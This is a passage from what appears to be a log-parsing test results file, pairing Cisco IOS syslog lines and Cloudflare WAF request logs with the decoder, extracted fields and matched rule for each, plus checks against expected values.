"cisco.mnemonic", "cisco.severity"], "rule": "4715", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4715", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: syslog"} +{"log": "Oct 6 03:32:02 mng: %SEC-6-IPACCESSLOGP: list 1111 denied udp xx.xxx.xx.xx(137) -> xxx.xxx.xxx.xx(137), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {}, "field_names": [], "rule": "4700", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4700", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: generic"} +{"log": "Oct 6 03:32:02 gmt: %SEC-6-IPACCESSLOGP: list bes_in denied udp xx.xxx.xx.xx(137) (GigabitEthernet0/1.6 ca5c.1da2.ba43) -> xx.xx.xx.xx(137), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {}, "field_names": [], "rule": "4700", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4700", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: generic"} +{"log": "39222: *Oct 6 03:32:02.070 mng: %SEC-6-IPACCESSLOGP: list 167 denied udp xx.xx.xx.xx(137) (GigabitEthernet0/1.6 ab9c.2a62.aa8d) -> xxx.xxx.xxx.xxx(137), 1 packet", "decoder": "cisco-ios", "parent": "cisco-ios", "fields": {}, "field_names": [], "rule": "4700", "level": "0", "expected_decoder": "cisco-ios", "expected_rule": "4700", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: generic"} +{"log": "00:00:46: %LINK-3-UPDOWN: Interface Port-channel1, changed state to up", "decoder": "cisco-ios", "parent": "", "fields": {"cisco.facility": "LINK", "cisco.mnemonic": "UPDOWN", "cisco.severity": "3"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity"], "rule": "4713", "level": "4", "expected_decoder": "cisco-ios", "expected_rule": "4713", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: error message"} +{"log": "00:00:47: %LINK-3-UPDOWN: Interface GigabitEthernet0/2, changed state to up", "decoder": "cisco-ios", "parent": "", "fields": {"cisco.facility": "LINK", "cisco.mnemonic": "UPDOWN", "cisco.severity": "3"}, "field_names": ["cisco.facility", "cisco.mnemonic", "cisco.severity"], "rule": "4713", "level": "4", "expected_decoder": "cisco-ios", "expected_rule": "4713", "rule_matches_expected": true, "ini_file": "cisco_ios.ini", "section": "cisco ios: error message"} +{"log": "{\"ClientIP\":\"54.76.123.133\",\"ClientRequestHost\":\"ae-preprod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/messages/actuator/health\",\"EdgeEndTimestamp\":\"2021-07-27T21:26:42Z\",\"EdgeResponseBytes\":845,\"EdgeResponseStatus\":200,\"EdgeStartTimestamp\":\"2021-07-27T21:26:42Z\",\"RayID\":\"6758f291eb0b60df\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.222.19\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":20000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":1981,\"CacheResponseStatus\":200,\"ClientCountry\":\"ie\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "1981", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ie", "ClientDeviceType": "desktop", "ClientIP": "54.76.123.133", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-preprod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/messages/actuator/health", "EdgeEndTimestamp": "2021-07-27T21:26:42Z", "EdgeResponseBytes": "845", "EdgeResponseStatus": "200", "EdgeStartTimestamp": "2021-07-27T21:26:42Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.222.19", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "20000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "6758f291eb0b60df", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92502", "level": "4", "expected_decoder": "json", "expected_rule": "92502", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF GET method event"} +{"log": "{\"ClientIP\":\"52.17.243.194\",\"ClientRequestHost\":\"ae-preprod.yap.com\",\"ClientRequestMethod\":\"POST\",\"ClientRequestURI\":\"/digi-ocr/detect/\",\"EdgeEndTimestamp\":\"2021-07-27T21:26:38Z\",\"EdgeResponseBytes\":625,\"EdgeResponseStatus\":200,\"EdgeStartTimestamp\":\"2021-07-27T21:26:38Z\",\"RayID\":\"6758f27939a260c2\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"75.2.33.181\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":19000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":1678,\"CacheResponseStatus\":200,\"ClientCountry\":\"ie\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "1678", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ie", "ClientDeviceType": "desktop", "ClientIP": "52.17.243.194", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-preprod.yap.com", "ClientRequestMethod": "POST", "ClientRequestURI": "/digi-ocr/detect/", "EdgeEndTimestamp": "2021-07-27T21:26:38Z", "EdgeResponseBytes": "625", "EdgeResponseStatus": "200", "EdgeStartTimestamp": "2021-07-27T21:26:38Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "75.2.33.181", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "19000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "6758f27939a260c2", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92503", "level": "5", "expected_decoder": "json", "expected_rule": "92503", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF POST method event"} +{"log": "{\"ClientIP\":\"2001:8f8:1821:9fb3:1101:67f6:7f43:b124\",\"ClientRequestHost\":\"ae-prod.yap.com\",\"ClientRequestMethod\":\"PUT\",\"ClientRequestURI\":\"/customers/api/stop-display\",\"EdgeEndTimestamp\":\"2021-07-27T21:38:19Z\",\"EdgeResponseBytes\":997,\"EdgeResponseStatus\":200,\"EdgeStartTimestamp\":\"2021-07-27T21:38:19Z\",\"RayID\":\"675903985d4608ab\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.253.40\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":134000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":2050,\"CacheResponseStatus\":200,\"ClientCountry\":\"ae\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "2050", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ae", "ClientDeviceType": "desktop", "ClientIP": "2001:8f8:1821:9fb3:1101:67f6:7f43:b124", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-prod.yap.com", "ClientRequestMethod": "PUT", "ClientRequestURI": "/customers/api/stop-display", "EdgeEndTimestamp": "2021-07-27T21:38:19Z", "EdgeResponseBytes": "997", "EdgeResponseStatus": "200", "EdgeStartTimestamp": "2021-07-27T21:38:19Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.253.40", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "134000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "675903985d4608ab", "SecurityLevel": "med", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92504", "level": "5", "expected_decoder": "json", "expected_rule": "92504", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF PUT method event"} +{"log": "{\"ClientIP\":\"54.76.123.133\",\"ClientRequestHost\":\"ae-prod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/auth/login\",\"EdgeEndTimestamp\":\"2021-07-27T21:26:46Z\",\"EdgeResponseBytes\":2516,\"EdgeResponseStatus\":200,\"EdgeStartTimestamp\":\"2021-07-27T21:26:46Z\",\"RayID\":\"6758f2aaedc434cc\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.253.40\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":26000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":3223,\"CacheResponseStatus\":200,\"ClientCountry\":\"ie\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "3223", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ie", "ClientDeviceType": "desktop", "ClientIP": "54.76.123.133", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-prod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/auth/login", "EdgeEndTimestamp": "2021-07-27T21:26:46Z", "EdgeResponseBytes": "2516", "EdgeResponseStatus": "200", "EdgeStartTimestamp": "2021-07-27T21:26:46Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.253.40", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "26000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "6758f2aaedc434cc", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92506", "level": "4", "expected_decoder": "json", "expected_rule": "92506", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF auth event"} +{"log": "{\"ClientIP\":\"54.76.123.133\",\"ClientRequestHost\":\"ae-prod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/auth/login\",\"EdgeEndTimestamp\":\"2021-07-27T21:38:24Z\",\"EdgeResponseBytes\":2516,\"EdgeResponseStatus\":401,\"EdgeStartTimestamp\":\"2021-07-27T21:38:24Z\",\"RayID\":\"675903b56b1060b6\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.253.40\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":26000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":3224,\"CacheResponseStatus\":200,\"ClientCountry\":\"ie\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "3224", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ie", "ClientDeviceType": "desktop", "ClientIP": "54.76.123.133", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-prod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/auth/login", "EdgeEndTimestamp": "2021-07-27T21:38:24Z", "EdgeResponseBytes": "2516", "EdgeResponseStatus": "401", "EdgeStartTimestamp": "2021-07-27T21:38:24Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.253.40", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "26000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "675903b56b1060b6", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92507", "level": "7", "expected_decoder": "json", "expected_rule": "92507", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF auth failure event"} +{"log": "{\"ClientIP\":\"54.76.123.133\",\"ClientRequestHost\":\"ae-preprod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/messages/actuator/health\",\"EdgeEndTimestamp\":\"2021-07-27T21:38:42Z\",\"EdgeResponseBytes\":845,\"EdgeResponseStatus\":409,\"EdgeStartTimestamp\":\"2021-07-27T21:38:42Z\",\"RayID\":\"67590425eaa434f5\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.222.19\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":200,\"OriginResponseTime\":18000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":1984,\"CacheResponseStatus\":200,\"ClientCountry\":\"ie\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "1984", "CacheResponseStatus": "200", "CacheTieredFill": "false", "ClientCountry": "ie", "ClientDeviceType": "desktop", "ClientIP": "54.76.123.133", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-preprod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/messages/actuator/health", "EdgeEndTimestamp": "2021-07-27T21:38:42Z", "EdgeResponseBytes": "845", "EdgeResponseStatus": "409", "EdgeStartTimestamp": "2021-07-27T21:38:42Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.222.19", "OriginResponseBytes": "0", "OriginResponseStatus": "200", "OriginResponseTime": "18000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "67590425eaa434f5", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92508", "level": "7", "expected_decoder": "json", "expected_rule": "92508", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned error event"} +{"log": "{\"ClientIP\":\"2.51.28.56\",\"ClientRequestHost\":\"ae-prod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/cards/api/cards/debit/balance\",\"EdgeEndTimestamp\":\"2021-07-27T22:25:07Z\",\"EdgeResponseBytes\":1001,\"EdgeResponseStatus\":400,\"EdgeStartTimestamp\":\"2021-07-27T22:25:07Z\",\"RayID\":\"67594824cf622c26\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"75.2.31.168\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":400,\"OriginResponseTime\":343000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":2115,\"CacheResponseStatus\":400,\"ClientCountry\":\"ae\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "2115", "CacheResponseStatus": "400", "CacheTieredFill": "false", "ClientCountry": "ae", "ClientDeviceType": "desktop", "ClientIP": "2.51.28.56", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-prod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/cards/api/cards/debit/balance", "EdgeEndTimestamp": "2021-07-27T22:25:07Z", "EdgeResponseBytes": "1001", "EdgeResponseStatus": "400", "EdgeStartTimestamp": "2021-07-27T22:25:07Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "75.2.31.168", "OriginResponseBytes": "0", "OriginResponseStatus": "400", "OriginResponseTime": "343000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "67594824cf622c26", "SecurityLevel": "med", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92509", "level": "4", "expected_decoder": "json", "expected_rule": "92509", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 400 code event"} +{"log": "{\"ClientIP\":\"2402:8100:3913:f4c8:4150:2d5a:58b3:d6b\",\"ClientRequestHost\":\"ae-prod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/customers/api/mobile-app-versions\",\"EdgeEndTimestamp\":\"2021-07-27T04:57:43Z\",\"EdgeResponseBytes\":950,\"EdgeResponseStatus\":401,\"EdgeStartTimestamp\":\"2021-07-27T04:57:42Z\",\"RayID\":\"675349d64f193d60\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"75.2.31.168\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":401,\"OriginResponseTime\":905000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":2039,\"CacheResponseStatus\":401,\"ClientCountry\":\"in\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "2039", "CacheResponseStatus": "401", "CacheTieredFill": "false", "ClientCountry": "in", "ClientDeviceType": "desktop", "ClientIP": "2402:8100:3913:f4c8:4150:2d5a:58b3:d6b", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-prod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/customers/api/mobile-app-versions", "EdgeEndTimestamp": "2021-07-27T04:57:43Z", "EdgeResponseBytes": "950", "EdgeResponseStatus": "401", "EdgeStartTimestamp": "2021-07-27T04:57:42Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "75.2.31.168", "OriginResponseBytes": "0", "OriginResponseStatus": "401", "OriginResponseTime": "905000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "675349d64f193d60", "SecurityLevel": "med", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", 